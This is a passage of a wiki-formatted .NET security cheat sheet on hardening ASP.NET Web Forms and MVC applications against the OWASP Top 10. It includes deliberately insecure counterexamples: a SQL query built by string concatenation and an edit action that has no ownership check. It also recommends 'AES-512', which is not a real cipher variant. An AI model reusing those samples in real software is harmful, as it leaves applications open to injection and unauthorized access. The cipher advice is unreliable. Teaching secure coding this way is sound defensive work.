* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
* Never, ever write your own encryption.&lt;br /&gt;
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.&lt;br /&gt;
* Use a strong hash algorithm. &lt;br /&gt;
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].&lt;br /&gt;
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].&lt;br /&gt;
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.&lt;br /&gt;
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.&lt;br /&gt;
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.&lt;br /&gt;
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.&lt;br /&gt;
&lt;br /&gt;
=== General ===&lt;br /&gt;
&lt;br /&gt;
* Lock down the config file. &lt;br /&gt;
** Remove all aspects of configuration that are not in use. &lt;br /&gt;
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe&lt;br /&gt;
&lt;br /&gt;
* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET Web Forms Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.&lt;br /&gt;
&lt;br /&gt;
* Always use [http://support.microsoft.com/kb/324069 HTTPS].&lt;br /&gt;
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.&lt;br /&gt;
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].&lt;br /&gt;
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.&lt;br /&gt;
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 protected override OnInit(EventArgs e) {&lt;br /&gt;
     base.OnInit(e); &lt;br /&gt;
     ViewStateUserKey = Session.SessionID;&lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.&lt;br /&gt;
&lt;br /&gt;
 private const string AntiXsrfTokenKey = &amp;quot;__AntiXsrfToken&amp;quot;;&lt;br /&gt;
 private const string AntiXsrfUserNameKey = &amp;quot;__AntiXsrfUserName&amp;quot;;&lt;br /&gt;
 private string _antiXsrfTokenValue;&lt;br /&gt;
 protected void Page_Init(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     // The code below helps to protect against XSRF attacks&lt;br /&gt;
     var requestCookie = Request.Cookies[AntiXsrfTokenKey];&lt;br /&gt;
     Guid requestCookieGuidValue;&lt;br /&gt;
     if (requestCookie != null &amp;amp;&amp;amp; Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))&lt;br /&gt;
     {&lt;br /&gt;
        // Use the Anti-XSRF token from the cookie&lt;br /&gt;
        _antiXsrfTokenValue = requestCookie.Value;&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Generate a new Anti-XSRF token and save to the cookie&lt;br /&gt;
        _antiXsrfTokenValue = Guid.NewGuid().ToString(&amp;quot;N&amp;quot;);&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
        var responseCookie = new HttpCookie(AntiXsrfTokenKey)&lt;br /&gt;
        {&lt;br /&gt;
           HttpOnly = true,&lt;br /&gt;
           Value = _antiXsrfTokenValue&lt;br /&gt;
        };&lt;br /&gt;
        if (FormsAuthentication.RequireSSL &amp;amp;&amp;amp; Request.IsSecureConnection)&lt;br /&gt;
        {&lt;br /&gt;
           responseCookie.Secure = true;&lt;br /&gt;
        }&lt;br /&gt;
        Response.Cookies.Set(responseCookie);&lt;br /&gt;
     }&lt;br /&gt;
     Page.PreLoad += master_Page_PreLoad;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 protected void master_Page_PreLoad(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     if (!IsPostBack)&lt;br /&gt;
     {&lt;br /&gt;
        // Set Anti-XSRF token&lt;br /&gt;
        ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;&lt;br /&gt;
        ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Validate the Anti-XSRF token&lt;br /&gt;
        if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue || &lt;br /&gt;
           (string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))&lt;br /&gt;
        {&lt;br /&gt;
           throw new InvalidOperationException(&amp;quot;Validation of Anti-XSRF token failed.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.&lt;br /&gt;
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.&lt;br /&gt;
** In the Home pane, double-click HTTP Response Headers.&lt;br /&gt;
** In the HTTP Response Headers pane, click Add... in the Actions pane.&lt;br /&gt;
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.&lt;br /&gt;
** This is a recommended web.config setup that handles HSTS among other things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
  &amp;lt;configuration&amp;gt;&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
      &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/system.web&amp;gt;&lt;br /&gt;
    &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
      &amp;lt;security&amp;gt;&lt;br /&gt;
        &amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/security&amp;gt;&lt;br /&gt;
      &amp;lt;staticContent&amp;gt;&lt;br /&gt;
        &amp;lt;clientCache cacheControlCustom=&amp;quot;public&amp;quot; cacheControlMode=&amp;quot;UseMaxAge&amp;quot; cacheControlMaxAge=&amp;quot;1.00:00:00&amp;quot; setEtag=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/staticContent&amp;gt;&lt;br /&gt;
      &amp;lt;httpProtocol&amp;gt;&lt;br /&gt;
        &amp;lt;customHeaders&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/customHeaders&amp;gt;&lt;br /&gt;
      &amp;lt;/httpProtocol&amp;gt;&lt;br /&gt;
      &amp;lt;rewrite&amp;gt;&lt;br /&gt;
        &amp;lt;rules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Redirect to https&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match url=&amp;quot;(.*)&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;Off&amp;quot;/&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{REQUEST_METHOD}&amp;quot; pattern=&amp;quot;^get$|^head$&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Redirect&amp;quot; url=&amp;quot;https://{HTTP_HOST}/{R:1}&amp;quot; redirectType=&amp;quot;Permanent&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/rules&amp;gt;&lt;br /&gt;
        &amp;lt;outboundRules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Add HSTS Header&amp;quot; enabled=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match serverVariable=&amp;quot;RESPONSE_Strict_Transport_Security&amp;quot;&lt;br /&gt;
                pattern=&amp;quot;.*&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;on&amp;quot; ignoreCase=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Rewrite&amp;quot; value=&amp;quot;max-age=15768000&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/outboundRules&amp;gt;&lt;br /&gt;
      &amp;lt;/rewrite&amp;gt;&lt;br /&gt;
    &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
  &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove the version header.&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot; /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Also remove the Server header.&lt;br /&gt;
&lt;br /&gt;
    HttpContext.Current.Response.Headers.Remove(&amp;quot;Server&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== HTTP validation and encoding ===&lt;br /&gt;
&lt;br /&gt;
* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting.  Complete request validation is recommended in addition to the built in protections.&lt;br /&gt;
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.&lt;br /&gt;
* Whitelist allowable values anytime user input is accepted. &lt;br /&gt;
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].&lt;br /&gt;
&lt;br /&gt;
=== Forms authentication ===&lt;br /&gt;
&lt;br /&gt;
* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.&lt;br /&gt;
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.&lt;br /&gt;
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.&lt;br /&gt;
* If HTTPS is not used, slidingExpiration should be disabled.  Consider disabling slidingExpiration even with HTTPS. &lt;br /&gt;
* Always implement proper access controls.&lt;br /&gt;
** Compare user provided username with User.Identity.Name.&lt;br /&gt;
** Check roles against User.Identity.IsInRole.&lt;br /&gt;
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.&lt;br /&gt;
* Explicitly authorize resource requests.&lt;br /&gt;
* Leverage role based authorization using User.Identity.IsInRole.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET MVC Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.&lt;br /&gt;
&lt;br /&gt;
* '''A1 SQL Injection'''&lt;br /&gt;
&lt;br /&gt;
DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
DO: Use parameterized queries where a direct sql query must be used. &lt;br /&gt;
&lt;br /&gt;
e.g. In entity frameworks:&lt;br /&gt;
&lt;br /&gt;
    var sql = @&amp;quot;Update [User] SET FirstName = @FirstName WHERE Id = @Id&amp;quot;;&lt;br /&gt;
    context.Database.ExecuteSqlCommand(&lt;br /&gt;
       sql,&lt;br /&gt;
       new SqlParameter(&amp;quot;@FirstName&amp;quot;, firstname),&lt;br /&gt;
       new SqlParameter(&amp;quot;@Id&amp;quot;, id));&lt;br /&gt;
&lt;br /&gt;
DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.&lt;br /&gt;
&lt;br /&gt;
e.g&lt;br /&gt;
    string strQry = &amp;quot;SELECT * FROM Users WHERE UserName='&amp;quot; + txtUser.Text + &amp;quot;' AND Password='&amp;quot; + txtPassword.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
    EXEC strQry // SQL Injection vulnerability!&lt;br /&gt;
&lt;br /&gt;
DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account&lt;br /&gt;
&lt;br /&gt;
* '''A2 Weak Account management'''&lt;br /&gt;
&lt;br /&gt;
Ensure cookies are sent via httpOnly:&lt;br /&gt;
&lt;br /&gt;
     CookieHttpOnly = true,&lt;br /&gt;
&lt;br /&gt;
Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:&lt;br /&gt;
&lt;br /&gt;
     ExpireTimeSpan = TimeSpan.FromMinutes(60),&lt;br /&gt;
     SlidingExpiration = false&lt;br /&gt;
&lt;br /&gt;
See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet&lt;br /&gt;
&lt;br /&gt;
Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Require all custom cookies to travel via SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;authentication&amp;gt;&lt;br /&gt;
      &amp;lt;forms requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;!-- SECURE: Authentication cookie should only be passed over SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;/authentication&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.&lt;br /&gt;
&lt;br /&gt;
    [HttpPost]&lt;br /&gt;
    [AllowAnonymous]&lt;br /&gt;
    [ValidateAntiForgeryToken]&lt;br /&gt;
    '''[AllowXRequestsEveryXSecondsAttribute(Name = &amp;quot;LogOn&amp;quot;, Message = &amp;quot;You have performed this action more than {x} times in the last {n} seconds.&amp;quot;, Requests = 3, Seconds = 60)]'''&lt;br /&gt;
    public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling&lt;br /&gt;
&lt;br /&gt;
DO NOT: Roll your own authentication or session management, use the one provided by .Net&lt;br /&gt;
&lt;br /&gt;
DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''A3 Cross Site Scripting'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists&lt;br /&gt;
&lt;br /&gt;
You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:&lt;br /&gt;
&lt;br /&gt;
    Install-Package AntiXSS&lt;br /&gt;
&lt;br /&gt;
then set in config:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
        &amp;lt;!-- SECURE: Don't disclose version header in each IIS response, encode ALL output including CSS, JavaScript etc, reduce max request length as mitigation against DOS --&amp;gt;&lt;br /&gt;
        &amp;lt;httpRuntime targetFramework=&amp;quot;4.5&amp;quot; enableVersionHeader=&amp;quot;false&amp;quot; encoderType=&amp;quot;Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary&amp;quot; maxRequestLength=&amp;quot;4096&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.&lt;br /&gt;
&lt;br /&gt;
DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'&amp;quot; /&amp;amp;gt;&lt;br /&gt;
                ...&lt;br /&gt;
&lt;br /&gt;
* '''A4 Insecure Direct object references'''&lt;br /&gt;
&lt;br /&gt;
When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there&lt;br /&gt;
&lt;br /&gt;
    // Insecure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            return View(&amp;quot;Details&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
    // Secure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            // Establish user has right to edit the details&lt;br /&gt;
            if (user.Id != _userIdentity.GetUserId())&lt;br /&gt;
            {&lt;br /&gt;
                HandleErrorInfo error = new HandleErrorInfo(new Exception(&amp;quot;INFO: You do not have permission to edit these details&amp;quot;));&lt;br /&gt;
                return View(&amp;quot;Error&amp;quot;, error);&lt;br /&gt;
            }&lt;br /&gt;
            return View(&amp;quot;Edit&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
* '''A5 Security Misconfiguration'''&lt;br /&gt;
&lt;br /&gt;
Ensure debug and trace are off in production. This can be enforced using web.config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure debug information is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;compilation xdt:Transform=&amp;quot;RemoveAttributes(debug)&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure trace is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;trace enabled=&amp;quot;false&amp;quot; xdt:Transform=&amp;quot;Replace&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use default passwords&lt;br /&gt;
&lt;br /&gt;
DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:&lt;br /&gt;
&lt;br /&gt;
	protected void Application_BeginRequest()&lt;br /&gt;
		{&lt;br /&gt;
    #if !DEBUG&lt;br /&gt;
            // SECURE: Ensure any request is returned over SSL/TLS in production&lt;br /&gt;
            if (!Request.IsLocal &amp;amp;&amp;amp; !Context.Request.IsSecureConnection) {&lt;br /&gt;
                var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace(&amp;quot;http:&amp;quot;, &amp;quot;https:&amp;quot;);&lt;br /&gt;
                Response.Redirect(redirect);&lt;br /&gt;
            }&lt;br /&gt;
    #endif&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
* '''A6 Sensitive data exposure'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Store encrypted passwords.&lt;br /&gt;
&lt;br /&gt;
DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.&lt;br /&gt;
&lt;br /&gt;
DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy. &lt;br /&gt;
&lt;br /&gt;
DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.&lt;br /&gt;
&lt;br /&gt;
DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].&lt;br /&gt;
&lt;br /&gt;
DO NOT: Allow SSL, this is now obsolete&lt;br /&gt;
&lt;br /&gt;
DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]&lt;br /&gt;
&lt;br /&gt;
DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:&lt;br /&gt;
    &amp;amp;lt;system.web&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/system.web&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;security&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/security&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;/customHeaders&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/httpProtocol&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''A7 Missing function level access control'''&lt;br /&gt;
&lt;br /&gt;
DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize(Roles = &amp;quot;Admin&amp;quot;)]&lt;br /&gt;
     [HttpGet]&lt;br /&gt;
     public ActionResult Index(int page = 1)&lt;br /&gt;
&lt;br /&gt;
or better yet, at controller level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize]&lt;br /&gt;
     public class UserController&lt;br /&gt;
&lt;br /&gt;
You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)&lt;br /&gt;
&lt;br /&gt;
* '''A8 Cross site request forgery'''&lt;br /&gt;
&lt;br /&gt;
DO: Send the anti-forgery token with every Post/Put request:&lt;br /&gt;
&lt;br /&gt;
    using (Html.BeginForm(&amp;quot;LogOff&amp;quot;, &amp;quot;Account&amp;quot;, FormMethod.Post, new { id = &amp;quot;logoutForm&amp;quot;, @class = &amp;quot;pull-right&amp;quot; }))&lt;br /&gt;
        {&lt;br /&gt;
        @Html.AntiForgeryToken()&lt;br /&gt;
        &amp;amp;lt;ul class=&amp;quot;nav nav-pills&amp;quot;&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;Logged on as @User.Identity.Name&amp;lt;/li&amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;javascript:document.getElementById('logoutForm').submit()&amp;quot;&amp;amp;gt;Log off&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/ul&amp;amp;gt;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Then validate it at the method or preferably the controller level:&lt;br /&gt;
&lt;br /&gt;
        [HttpPost]&lt;br /&gt;
        '''[ValidateAntiForgeryToken]'''&lt;br /&gt;
        public ActionResult LogOff()&lt;br /&gt;
&lt;br /&gt;
Make sure the tokens are removed completely for invalidation on logout.&lt;br /&gt;
&lt;br /&gt;
        /// &amp;lt;summary&amp;gt;&lt;br /&gt;
        /// SECURE: Remove any remaining cookies including Anti-CSRF cookie&lt;br /&gt;
        /// &amp;lt;/summary&amp;gt;&lt;br /&gt;
        public void RemoveAntiForgeryCookie(Controller controller)&lt;br /&gt;
        {&lt;br /&gt;
            string[] allCookies = controller.Request.Cookies.AllKeys;&lt;br /&gt;
            foreach (string cookie in allCookies)&lt;br /&gt;
            {&lt;br /&gt;
                if (controller.Response.Cookies[cookie] != null &amp;amp;&amp;amp; cookie == &amp;quot;__RequestVerificationToken&amp;quot;)&lt;br /&gt;
                {&lt;br /&gt;
                    controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
NB: You will need to attach the anti-forgery token to Ajax requests.&lt;br /&gt;
&lt;br /&gt;
* '''A9 Using components with known vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
DO: Keep the .Net framework updated with the latest patches&lt;br /&gt;
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities. So Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]&lt;br /&gt;
&lt;br /&gt;
* '''A10 Unvalidated redirects and forwards'''&lt;br /&gt;
&lt;br /&gt;
A protection against this was introduced in Mvc 3 template. Here is the code:&lt;br /&gt;
&lt;br /&gt;
        public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (ModelState.IsValid)&lt;br /&gt;
            {&lt;br /&gt;
                var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);&lt;br /&gt;
                if (logonResult.Success)&lt;br /&gt;
                {&lt;br /&gt;
